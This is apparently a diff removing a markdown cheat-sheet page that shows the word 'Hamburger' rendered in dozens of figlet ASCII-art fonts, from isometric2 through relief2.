-      \::/  /       \::/  /        /:/  /   \:\ \::/  /   \:\  /:/  /     |:|::/  /   \:\ \:\__\    \:\ \:\__\      |:|::/  /
-      /:/  /        /:/  /        /:/  /     \:\/:/  /     \:\/:/  /      |:|\/__/     \:\/:/  /     \:\ \/__/      |:|\/__/
-     /:/  /        /:/  /        /:/  /       \::/__/       \::/  /       |:|  |        \::/  /       \:\__\        |:|  |
-     \/__/         \/__/         \/__/         ~~            \/__/         \|__|         \/__/         \/__/         \|__|
-```
-
-{: .-figlet}
-
-### isometric2
-
-```
-      ___           ___           ___                         ___           ___           ___           ___           ___
-     /\  \         /\  \         /\  \         _____         /\  \         /\  \         /\__\         /\__\         /\  \
-     \:\  \       /::\  \       |::\  \       /::\  \        \:\  \       /::\  \       /:/ _/_       /:/ _/_       /::\  \
-      \:\  \     /:/\:\  \      |:|:\  \     /:/\:\  \        \:\  \     /:/\:\__\     /:/ /\  \     /:/ /\__\     /:/\:\__\
-  ___ /::\  \   /:/ /::\  \   __|:|\:\  \   /:/ /::\__\   ___  \:\  \   /:/ /:/  /    /:/ /::\  \   /:/ /:/ _/_   /:/ /:/  /
- /\  /:/\:\__\ /:/_/:/\:\__\ /::::|_\:\__\ /:/_/:/\:|__| /\  \  \:\__\ /:/_/:/__/___ /:/__\/\:\__\ /:/_/:/ /\__\ /:/_/:/__/___
- \:\/:/  \/__/ \:\/:/  \/__/ \:\~~\  \/__/ \:\/:/ /:/  / \:\  \ /:/  / \:\/:::::/  / \:\  \ /:/  / \:\/:/ /:/  / \:\/:::::/  /
-  \::/__/       \::/__/       \:\  \        \::/_/:/  /   \:\  /:/  /   \::/~~/~~~~   \:\  /:/  /   \::/_/:/  /   \::/~~/~~~~
-   \:\  \        \:\  \        \:\  \        \:\/:/  /     \:\/:/  /     \:\~~\        \:\/:/  /     \:\/:/  /     \:\~~\
-    \:\__\        \:\__\        \:\__\        \::/  /       \::/  /       \:\__\        \::/  /       \::/  /       \:\__\
-     \/__/         \/__/         \/__/         \/__/         \/__/         \/__/         \/__/         \/__/         \/__/
-```
-
-{: .-figlet}
-
-### isometric3
-
-```
-      ___           ___           ___                         ___           ___           ___           ___           ___
-     /__/\         /  /\         /__/\         _____         /__/\         /  /\         /  /\         /  /\         /  /\
-     \  \:\       /  /::\       |  |::\       /  /::\        \  \:\       /  /::\       /  /:/_       /  /:/_       /  /::\
-      \__\:\     /  /:/\:\      |  |:|:\     /  /:/\:\        \  \:\     /  /:/\:\     /  /:/ /\     /  /:/ /\     /  /:/\:\
-  ___ /  /::\   /  /:/~/::\   __|__|:|\:\   /  /:/~/::\   ___  \  \:\   /  /:/~/:/    /  /:/_/::\   /  /:/ /:/_   /  /:/~/:/
- /__/\  /:/\:\ /__/:/ /:/\:\ /__/::::| \:\ /__/:/ /:/\:| /__/\  \__\:\ /__/:/ /:/___ /__/:/__\/\:\ /__/:/ /:/ /\ /__/:/ /:/___
- \  \:\/:/__\/ \  \:\/:/__\/ \  \:\~~\__\/ \  \:\/:/~/:/ \  \:\ /  /:/ \  \:\/:::::/ \  \:\ /~~/:/ \  \:\/:/ /:/ \  \:\/:::::/
-  \  \::/       \  \::/       \  \:\        \  \::/ /:/   \  \:\  /:/   \  \::/~~~~   \  \:\  /:/   \  \::/ /:/   \  \::/~~~~
-   \  \:\        \  \:\        \  \:\        \  \:\/:/     \  \:\/:/     \  \:\        \  \:\/:/     \  \:\/:/     \  \:\
-    \  \:\        \  \:\        \  \:\        \  \::/       \  \::/       \  \:\        \  \::/       \  \::/       \  \:\
-     \__\/         \__\/         \__\/         \__\/         \__\/         \__\/         \__\/         \__\/         \__\/
-```
-
-{: .-figlet}
-
-### isometric4
-
-```
-      ___           ___           ___           ___           ___           ___           ___           ___           ___
-     /  /\         /  /\         /  /\         /  /\         /  /\         /  /\         /  /\         /  /\         /  /\
-    /  /:/        /  /::\       /  /::|       /  /::\       /  /:/        /  /::\       /  /::\       /  /::\       /  /::\
-   /  /:/        /  /:/\:\     /  /:|:|      /  /:/\:\     /  /:/        /  /:/\:\     /  /:/\:\     /  /:/\:\     /  /:/\:\
-  /  /::\ ___   /  /::\ \:\   /  /:/|:|__   /  /::\ \:\   /  /:/        /  /::\ \:\   /  /:/  \:\   /  /::\ \:\   /  /::\ \:\
- /__/:/\:\  /\ /__/:/\:\_\:\ /__/:/_|::::\ /__/:/\:\_\:| /__/:/     /\ /__/:/\:\_\:\ /__/:/_\_ \:\ /__/:/\:\ \:\ /__/:/\:\_\:\
- \__\/  \:\/:/ \__\/  \:\/:/ \__\/  /~~/:/ \  \:\ \:\/:/ \  \:\    /:/ \__\/~|::\/:/ \  \:\__/\_\/ \  \:\ \:\_\/ \__\/~|::\/:/
-      \__\::/       \__\::/        /  /:/   \  \:\_\::/   \  \:\  /:/     |  |:|::/   \  \:\ \:\    \  \:\ \:\      |  |:|::/
-      /  /:/        /  /:/        /  /:/     \  \:\/:/     \  \:\/:/      |  |:|\/     \  \:\/:/     \  \:\_\/      |  |:|\/
-     /__/:/        /__/:/        /__/:/       \__\::/       \  \::/       |__|:|~       \  \::/       \  \:\        |__|:|~
-     \__\/         \__\/         \__\/            ~~         \__\/         \__\|         \__\/         \__\/         \__\|
-```
-
-{: .-figlet}
-
-### italic
-
-```
- )__/_ _  /   _ _ _ _
-/  /(///)()(// (/(-/
-              _/
-```
-
-{: .-figlet}
-
-### ivrit
-
-```
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   _                     _   _
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         _ __ ___  __ _ _ __ _   _| |__  _ __ ___   __ _| | | |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | '__/ _ \/ _` | '__| | | | '_ \| '_ ` _ \ / _` | |_| |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | | |  __/ (_| | |  | |_| | |_) | | | | | | (_| |  _  |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |_|  \___|\__, |_|   \__,_|_.__/|_| |_| |_|\__,_|_| |_|
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |___/
-```
-
-{: .-figlet}
-
-### jazmine
-
-```
- o    o                8
- 8    8                8
-o8oooo8 .oPYo. ooYoYo. 8oPYo. o    o oPYo. .oPYo. .oPYo. oPYo.
- 8    8 .oooo8 8' 8  8 8    8 8    8 8  `' 8    8 8oooo8 8  `'
- 8    8 8    8 8  8  8 8    8 8    8 8     8    8 8.     8
- 8    8 `YooP8 8  8  8 `YooP' `YooP' 8     `YooP8 `Yooo' 8
-:..:::..:.....:..:..:..:.....::.....:..:::::....8 :.....:..::::
-:::::::::::::::::::::::::::::::::::::::::::::ooP'.:::::::::::::
-:::::::::::::::::::::::::::::::::::::::::::::...:::::::::::::::
-```
-
-{: .-figlet}
-
-### jerusalem
-
-```
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ______ ________   _ ______ ___  ___  __   __._   _   _ _   _
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |____  |____  \ \ | |____  |_  ||_  | \ \ / /| | | | | | | | |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | | _  | |\ \| |    | | | |  | |  \ V / | | | | | | |_| |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | || | |_|_\ ` |    | | | |__| |___\  \ | |/ /_/ /|  _  |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |_|| |  |______|    |_| |_|____|______| |_______/ |_| |_|
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |_|
-```
-
-{: .-figlet}
-
-### katakana
-
-```
-   #       #        ######### ######## ##########                #
-  ######## #   ###          #        #          # #########     #      ########## #########
- #       # ####             #        #         #  #       #    #               #  #       #
-#      ##  #        ########        #  ########   #       #   #               #   #       #
-     ##    #               #      ##       ##     #       #  #     #       # #    #       #
-   ##      #               #    ##       ##       ######### #########       #     #########
- ##         ####### ########  ##       ##                            #       #
-```
-
-{: .-figlet}
-
-### kban
-
-```
-'||'  '||'                    '||
- ||    ||   ....   .. .. ..    || ...  ... ...  ... ..    ... .   ....  ... ..
- ||''''||  '' .||   || || ||   ||'  ||  ||  ||   ||' ''  || ||  .|...||  ||' ''
- ||    ||  .|' ||   || || ||   ||    |  ||  ||   ||       |''   ||       ||
-.||.  .||. '|..'|' .|| || ||.  '|...'   '|..'|. .||.     '||||.  '|...' .||.
-                                                        .|....'
-```
-
-{: .-figlet}
-
-### l4me
-
-```
-|-|4mbvrg3r
-```
-
-{: .-figlet}
-
-### larry3d
-
-```
- __  __                       __
-/\ \/\ \                     /\ \
-\ \ \_\ \     __      ___ ___\ \ \____  __  __  _ __    __      __   _ __
- \ \  _  \  /'__`\  /' __` __`\ \ '__`\/\ \/\ \/\`'__\/'_ `\  /'__`\/\`'__\
-  \ \ \ \ \/\ \L\.\_/\ \/\ \/\ \ \ \L\ \ \ \_\ \ \ \//\ \L\ \/\  __/\ \ \/
-   \ \_\ \_\ \__/.\_\ \_\ \_\ \_\ \_,__/\ \____/\ \_\\ \____ \ \____\\ \_\
-    \/_/\/_/\/__/\/_/\/_/\/_/\/_/\/___/  \/___/  \/_/ \/___L\ \/____/ \/_/
-                                                        /\____/
-                                                        \_/__/
-```
-
-{: .-figlet}
-
-### lcd
-
-```
-                                       _
-|   |             |                   | |
-|-+-|  -    |- -  |-          |-       -|  -    |-
-|   | | |   | | | | |   | |   |         | |/    |
-       --          -     --            -   --
-```
-
-{: .-figlet}
-
-### lean
-
-```
-    _/    _/                            _/
-   _/    _/    _/_/_/  _/_/_/  _/_/    _/_/_/    _/    _/  _/  _/_/    _/_/_/    _/_/    _/  _/_/
-  _/_/_/_/  _/    _/  _/    _/    _/  _/    _/  _/    _/  _/_/      _/    _/  _/_/_/_/  _/_/
- _/    _/  _/    _/  _/    _/    _/  _/    _/  _/    _/  _/        _/    _/  _/        _/
-_/    _/    _/_/_/  _/    _/    _/  _/_/_/      _/_/_/  _/          _/_/_/    _/_/_/  _/
-                                                                       _/
-                                                                  _/_/
-```
-
-{: .-figlet}
-
-### letters
-
-```
-HH   HH                     bb
-HH   HH   aa aa mm mm mmmm  bb      uu   uu rr rr   gggggg   eee  rr rr
-HHHHHHH  aa aaa mmm  mm  mm bbbbbb  uu   uu rrr  r gg   gg ee   e rrr  r
-HH   HH aa  aaa mmm  mm  mm bb   bb uu   uu rr     ggggggg eeeee  rr
-HH   HH  aaa aa mmm  mm  mm bbbbbb   uuuu u rr          gg  eeeee rr
-                                                    ggggg
-```
-
-{: .-figlet}
-
-### linux
-
-```
-.-. .-..---..-.-.-..--..-..-..---. .---..---..---.
-| |=| || | || | | ||-< | || || |-< | |'_| |- | |-<
-`-' `-'`-^-'`-'-'-'`--'`----'`-'`-'`-'-/`---'`-'`-'
-```
-
-{: .-figlet}
-
-### lockergnome
-
-```
-::| ::|          :|
-::::::|.::\ :\/| ::'| :\:| :::| /::| :~~/ :::|
-::| ::|`::| :::| :::| `::| :|   \::| :::, :|
-                                ,.:/
-```
-
-{: .-figlet}
-
-### madrid
-
-```
-/ \           |
-|=| /=| /=\=\ |=\ | | /= /=| /=\ /=
-\ / \=| | | | |=/ \=/ |  \=| \=  |
-                         \=|
-```
-
-{: .-figlet}
-
-### marquee
-
-```
-.::     .::                       .::
-.::     .::                       .::
-.::     .::   .::    .::: .:: .:: .::      .::  .::.: .:::   .::      .::    .: .:::
-.:::::: .:: .::  .::  .::  .:  .::.:: .::  .::  .:: .::    .::  .:: .:   .::  .::
-.::     .::.::   .::  .::  .:  .::.::   .::.::  .:: .::   .::   .::.::::: .:: .::
-.::     .::.::   .::  .::  .:  .::.::   .::.::  .:: .::    .::  .::.:         .::
-.::     .::  .:: .:::.:::  .:  .::.:: .::    .::.::.:::        .::   .::::   .:::
-                                                            .::
-```
-
-{: .-figlet}
-
-### maxfour
-
-```
-|  |             |
-|--|/~~||/~\ /~\ |~~\|   ||/~\/~~|/~/|/~\
-|  |\__||   |   ||__/ \_/||   \__|\/_|
-                              \__|
-```
-
-{: .-figlet}
-
-### mike
-
-```
- |          |       _     _  _
- |\ //| ||\ |/ |/| |  /| |/ |
-                       |
-```
-
-{: .-figlet}
-
-### mini
-
-```
-|_| _.._ _ |_    .__  _ ._
-| |(_|| | ||_)|_||(_|(/_|
-                   _|
-```
-
-{: .-figlet}
-
-### mirror
-
-```
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       _                 _   _
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         __ _ ___  _ __ __ _ _   _  __| | ___ __ _ _ __ | | | |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |__` / _ \| '_ \__` | | | |/ _` |/ _ ' _` | '_ \| |_| |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | \__  | |_) | | | |_| | (_| | | | | | | |_) |  _  |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |_|___/| .__/  |_|_.__/ \__,_|_| |_| |_|_.__/|_| |_|
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   \___|
-```
-
-{: .-figlet}
-
-### mnemonic
-
-```
-Hamburger
-```
-
-{: .-figlet}
-
-### morse
-
-```
-.... .- -- -... ..- .-. --. . .-.
-```
-
-{: .-figlet}
-
-### moscow
-
-```
-#   #   #   #   # ####  #   # ####  ##### ##### ####
- # #   # #  ## ##  #     # #  #   # #   # #     #   #
-  #   ##### # # #  ####   #   ####  #     ####  ####
- # #  #   # #   #  #  #  #    #     #     #     #
-#   # #   # #   # ##### #     #     #     ##### #
-```
-
-{: .-figlet}
-
-### mshebrew210
-
-```
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ""|""|\  |""|| |\/|/ |
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           || ' \/   ||_|_\|_/
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |  -'
-```
-
-{: .-figlet}
-
-### nancyj-fancy
-
-```
-M""MMMMM""MM                     dP
-M  MMMMM  MM                     88
-M         `M .d8888b. 88d8b.d8b. 88d888b. dP    dP 88d888b. .d8888b. .d8888b. 88d888b.
-M  MMMMM  MM 88'  `88 88'`88'`88 88'  `88 88    88 88'  `88 88'  `88 88ooood8 88'  `88
-M  MMMMM  MM 88.  .88 88  88  88 88.  .88 88.  .88 88       88.  .88 88.  ... 88
-M  MMMMM  MM `88888P8 dP  dP  dP 88Y8888' `88888P' dP       `8888P88 `88888P' dP
-MMMMMMMMMMMM                                                     .88
-                                                             d8888P
-```
-
-{: .-figlet}
-
-### nancyj-underlined
-
-```
-dP     dP                      dP
-88     88                      88
-88aaaaa88a .d8888b. 88d8b.d8b. 88d888b. dP    dP 88d888b. .d8888b. .d8888b. 88d888b.
-88     88  88'  `88 88'`88'`88 88'  `88 88    88 88'  `88 88'  `88 88ooood8 88'  `88
-88     88  88.  .88 88  88  88 88.  .88 88.  .88 88       88.  .88 88.  ... 88
-dP     dP  `88888P8 dP  dP  dP 88Y8888' `88888P' dP       `8888P88 `88888P' dP
-ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo~~~~.88~oooooooooooooooooo
-                                                           d8888P
-```
-
-{: .-figlet}
-
-### nancyj
-
-```
-dP     dP                      dP
-88     88                      88
-88aaaaa88a .d8888b. 88d8b.d8b. 88d888b. dP    dP 88d888b. .d8888b. .d8888b. 88d888b.
-88     88  88'  `88 88'`88'`88 88'  `88 88    88 88'  `88 88'  `88 88ooood8 88'  `88
-88     88  88.  .88 88  88  88 88.  .88 88.  .88 88       88.  .88 88.  ... 88
-dP     dP  `88888P8 dP  dP  dP 88Y8888' `88888P' dP       `8888P88 `88888P' dP
-                                                               .88
-                                                           d8888P
-```
-
-{: .-figlet}
-
-### nipples
-
-```
-{__     {__                       {__
-{__     {__                       {__
-{__     {__   {__    {___ {__ {__ {__      {__  {__{_ {___   {__      {__    {_ {___
-{______ {__ {__  {__  {__  {_  {__{__ {__  {__  {__ {__    {__  {__ {_   {__  {__
-{__     {__{__   {__  {__  {_  {__{__   {__{__  {__ {__   {__   {__{_____ {__ {__
-{__     {__{__   {__  {__  {_  {__{__   {__{__  {__ {__    {__  {__{_         {__
-{__     {__  {__ {___{___  {_  {__{__ {__    {__{__{___        {__   {____   {___
-                                                            {__
-```
-
-{: .-figlet}
-
-### ntgreek
-
-```
- _   _               ___
-| | | |             / _ \
-| |_| | __  ___   _| |_) )_   _  ___ _   _ ___  ___
-|  _  |/  \/ / | | |  _ <| | | |/ _ ( \ / ) __)/ _ \
-| | | ( ()  <| |_| | |_) ) |_| | |_) ) v /> _)| |_) )
-|_| |_|\__/\_\ ._,_|  __/ \___/|  __/ | | \___)  __/
-             | |   | |         | |    | |     | |
-             |_|   |_|         |_|    |_|     |_|
-```
-
-{: .-figlet}
-
-### nvscript
-
-```
- ,ggg,        gg
-dP""Y8b       88                                 ,dPYb,
-Yb, `88       88                                 IP'`Yb
- `"  88       88                                 I8  8I
-     88aaaaaaa88                                 I8  8'
-     88"""""""88    ,gggg,gg   ,ggg,,ggg,,ggg,   I8 dP      gg      gg   ,gggggg,    ,gggg,gg   ,ggg,    ,gggggg,
-     88       88   dP"  "Y8I  ,8" "8P" "8P" "8,  I8dP   88ggI8      8I   dP""""8I   dP"  "Y8I  i8" "8i   dP""""8I
-     88       88  i8'    ,8I  I8   8I   8I   8I  I8P    8I  I8,    ,8I  ,8'    8I  i8'    ,8I  I8, ,8I  ,8'    8I
-     88       Y8,,d8,   ,d8b,,dP   8I   8I   Yb,,d8b,  ,8I ,d8b,  ,d8b,,dP     Y8,,d8,   ,d8I  `YbadP' ,dP     Y8,
-     88       `Y8P"Y8888P"`Y88P'   8I   8I   `Y88P'"Y88P"' 8P'"Y88P"`Y88P      `Y8P"Y8888P"888888P"Y8888P      `Y8
-                                                                                         ,d8I'
-                                                                                       ,dP'8I
-                                                                                      ,8"  8I
-                                                                                      I8   8I
-                                                                                      `8, ,8I
-                                                                                       `Y8P"
-```
-
-{: .-figlet}
-
-### o8
-
-```
-ooooo ooooo                          oooo
- 888   888   ooooooo   oo ooo oooo    888ooooo  oooo  oooo  oo oooooo     oooooooo8 ooooooooo8 oo oooooo
- 888ooo888   ooooo888   888 888 888   888    888 888   888   888    888 888    88o 888oooooo8   888    888
- 888   888 888    888   888 888 888   888    888 888   888   888         888oo888o 888          888
-o888o o888o 88ooo88 8o o888o888o888o o888ooo88    888o88 8o o888o       888     888  88oooo888 o888o
-                                                                         888ooo888
-```
-
-{: .-figlet}
-
-### octal
-
-```
-110 141 155 142 165 162 147 145 162
-```
-
-{: .-figlet}
-
-### ogre
-
-```
-                       _
-  /\  /\__ _ _ __ ___ | |__  _   _ _ __ __ _  ___ _ __
- / /_/ / _` | '_ ` _ \| '_ \| | | | '__/ _` |/ _ \ '__|
-/ __  / (_| | | | | | | |_) | |_| | | | (_| |  __/ |
-\/ /_/ \__,_|_| |_| |_|_.__/ \__,_|_|  \__, |\___|_|
-                                       |___/
-```
-
-{: .-figlet}
-
-### os2
-
-```
-oo____oo___________________oo______________________________________________
-oo____oo__ooooo__oo_oo_oo__oooooo__oo____o_oo_ooo___oooo____ooooo__oo_ooo__
-oo____oo_oo___oo_ooo_oo__o_oo___oo_oo____o_ooo___o_oo__oo__oo____o_ooo___o_
-oooooooo_oo___oo_oo__oo__o_oo___oo_oo____o_oo______oo___o__ooooooo_oo______
-oo____oo_oo___oo_oo__oo__o_oo___oo_ooo___o_oo_______oooooo_oo______oo______
-oo____oo__oooo_o_oo______o_oooooo__oo_ooo__oo______o____oo__ooooo__oo______
-____________________________________________________ooooo__________________
-```
-
-{: .-figlet}
-
-### pawp
-
-```
- _     _                    _
-(_)   (_)                  (_)            _            ____  _
-(_)___(_)  ____   __   __  (_)_    _   _ (_)__  ____  (____)(_)__
-(_______) (____) (__)_(__) (___)_ (_) (_)(____)(____)(_)_(_)(____)
-(_)   (_)( )_( )(_) (_) (_)(_)_(_)(_)_(_)(_)  ( )_(_)(__)__ (_)
-(_)   (_) (__)_)(_) (_) (_)(____)  (___) (_)   (____) (____)(_)
-                                              (_)_(_)
-                                               (___)
-```
-
-{: .-figlet}
-
-### peaks
-
-```
-/^^     /^^                       /^^
-/^^     /^^                       /^^
-/^^     /^^   /^^    /^^^ /^^ /^^ /^^      /^^  /^^/^ /^^^   /^^      /^^    /^ /^^^
-/^^^^^^ /^^ /^^  /^^  /^^  /^  /^^/^^ /^^  /^^  /^^ /^^    /^^  /^^ /^   /^^  /^^
-/^^     /^^/^^   /^^  /^^  /^  /^^/^^   /^^/^^  /^^ /^^   /^^   /^^/^^^^^ /^^ /^^
-/^^     /^^/^^   /^^  /^^  /^  /^^/^^   /^^/^^  /^^ /^^    /^^  /^^/^         /^^
-/^^     /^^  /^^ /^^^/^^^  /^  /^^/^^ /^^    /^^/^^/^^^        /^^   /^^^^   /^^^
-                                                            /^^
-```
-
-{: .-figlet}
-
-### pebbles
-
-```
-o      O                  o
-O      o                 O
-o      O                 O
-OoOooOOo                 o
-o      O .oOoO' `oOOoOO. OoOo. O   o  `OoOo. .oOoO .oOo. `OoOo.
-O      o O   o   O  o  o O   o o   O   o     o   O OooO'  o
-o      o o   O   o  O  O o   O O   o   O     O   o O      O
-o      O `OoO'o  O  o  o `OoO' `OoO'o  o     `OoOo `OoO'  o
-                                                 O
-                                              OoO'
-```
-
-{: .-figlet}
-
-### pepper
-
-```
- /_/_  _ _  /_    __  _  _
-/ //_|/ / //_//_///_//_'/
-                  _/
-```
-
-{: .-figlet}
-
-### poison
-
-```
-@@@  @@@   @@@@@@   @@@@@@@@@@   @@@@@@@   @@@  @@@  @@@@@@@    @@@@@@@@  @@@@@@@@  @@@@@@@
-@@@  @@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@  @@@  @@@@@@@@  @@@@@@@@@  @@@@@@@@  @@@@@@@@
-@@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  !@@        @@!       @@!  @@@
-!@!  @!@  !@!  @!@  !@! !@! !@!  !@   @!@  !@!  @!@  !@!  @!@  !@!        !@!       !@!  @!@
-@!@!@!@!  @!@!@!@!  @!! !!@ @!@  @!@!@!@   @!@  !@!  @!@!!@!   !@! @!@!@  @!!!:!    @!@!!@!
-!!!@!!!!  !!!@!!!!  !@!   ! !@!  !!!@!!!!  !@!  !!!  !!@!@!    !!! !!@!!  !!!!!:    !!@!@!
-!!:  !!!  !!:  !!!  !!:     !!:  !!:  !!!  !!:  !!!  !!: :!!   :!!   !!:  !!:       !!: :!!
-:!:  !:!  :!:  !:!  :!:     :!:  :!:  !:!  :!:  !:!  :!:  !:!  :!:   !::  :!:       :!:  !:!
-::   :::  ::   :::  :::     ::    :: ::::  ::::: ::  ::   :::   ::: ::::   :: ::::  ::   :::
- :   : :   :   : :   :      :    :: : ::    : :  :    :   : :   :: :: :   : :: ::    :   : :
-```
-
-{: .-figlet}
-
-### puffy
-
-```
- _   _                    _
-( ) ( )                  ( )
-| |_| |   _ _   ___ ___  | |_    _   _  _ __   __     __   _ __
-|  _  | /'_` )/' _ ` _ `\| '_`\ ( ) ( )( '__)/'_ `\ /'__`\( '__)
-| | | |( (_| || ( ) ( ) || |_) )| (_) || |  ( (_) |(  ___/| |
-(_) (_)`\__,_)(_) (_) (_)(_,__/'`\___/'(_)  `\__  |`\____)(_)
-                                            ( )_) |
-                                             \___/'
-```
-
-{: .-figlet}
-
-### pyramid
-
-```
-  ^    ^    ^    ^    ^    ^    ^    ^    ^
- /H\  /a\  /m\  /b\  /u\  /r\  /g\  /e\  /r\
-<___><___><___><___><___><___><___><___><___>
-```
-
-{: .-figlet}
-
-### rectangles
-
-```
- _____           _
-|  |  |___ _____| |_ _ _ ___ ___ ___ ___
-|     | .'|     | . | | |  _| . | -_|  _|
-|__|__|__,|_|_|_|___|___|_| |_  |___|_|
-                            |___|
-```
-
-{: .-figlet}
-
-### relief
-
-```
-___________________________________________________________________________________________________
-/~~\__/~~\__/~~~~~~\__/~~\__/~~\_/~~~~~~~\__/~~\__/~~\_/~~~~~~~\___/~~~~~~\__/~~~~~~~~\_/~~~~~~~\__
-/~~\__/~~\_/~~\__/~~\_/~~~\/~~~\_/~~\__/~~\_/~~\__/~~\_/~~\__/~~\_/~~\__/~~\_/~~\_______/~~\__/~~\_
-/~~~~~~~~\_/~~~~~~~~\_/~~~~~~~~\_/~~~~~~~\__/~~\__/~~\_/~~~~~~~\__/~~\_______/~~~~~~\___/~~~~~~~\__
-/~~\__/~~\_/~~\__/~~\_/~~\__/~~\_/~~\__/~~\_/~~\__/~~\_/~~\__/~~\_/~~\__/~~\_/~~\_______/~~\__/~~\_
-/~~\__/~~\_/~~\__/~~\_/~~\__/~~\_/~~~~~~~\___/~~~~~~\__/~~\__/~~\__/~~~~~~~\_/~~~~~~~~\_/~~\__/~~\_
-________________________________________________________________________/~~\_______________________
-```
-
-{: .-figlet}
-
-### relief2
-
-```
-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-/// \\/// \\/////// \\/// \\/// \//////// \\/// \\/// \//////// \\\/////// \\///////// \//////// \\
-/// \\/// \/// \\/// \//// //// \/// \\/// \/// \\/// \/// \\/// \/// \\/// \/// \\\\\\\/// \\/// \
-///////// \///////// \/// / /// \//////// \\/// \\/// \//////// \\/// \\\\\\\/////// \\\//////// \\
-/// \\/// \/// \\/// \/// \\/// \/// \\/// \/// \\/// \/// \\/// \/// \\/// \/// \\\\\\\/// \\/// \
-/// \\/// \/// \\/// \/// \\/// \//////// \\\/////// \\/// \\/// \\//////// \///////// \/// \\/// \
